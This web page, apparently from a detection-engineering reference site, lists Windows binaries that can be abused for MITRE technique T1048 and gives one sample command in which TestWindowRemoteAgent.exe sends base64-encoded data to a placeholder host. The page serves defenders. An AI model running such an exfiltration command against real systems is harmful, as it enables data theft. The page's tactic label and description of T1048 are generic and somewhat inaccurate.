How many Living-off-the-Land Binaries abuse T1048?

LOLPulse tracks 2 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute Technique T1048 (T1048).

How can detection engineers monitor for T1048?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1048Tactic: Execution & Defense EvasionOfficial MITRE ATT&CK Page

T1048: Technique T1048

Adversaries may leverage living-off-the-land techniques (T1048) to achieve execution, evade defenses, or transfer tools.

Total Capable Binaries: 2

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Windows: 2

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Linux: 0

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macOS: 0

Living-off-the-Land Matrix for T1048

Across 2 verified binaries

Windows0 payloads

Cmd.exe

The command-line interpreter in Windows

Inspect Cmd.exe & Telemetry

Windows1 payloads

TestWindowRemoteAgent.exe

TestWindowRemoteAgent.exe is the command-line tool to establish RPC

Sample Attack Vector:

TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000

Inspect TestWindowRemoteAgent.exe & Telemetry

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

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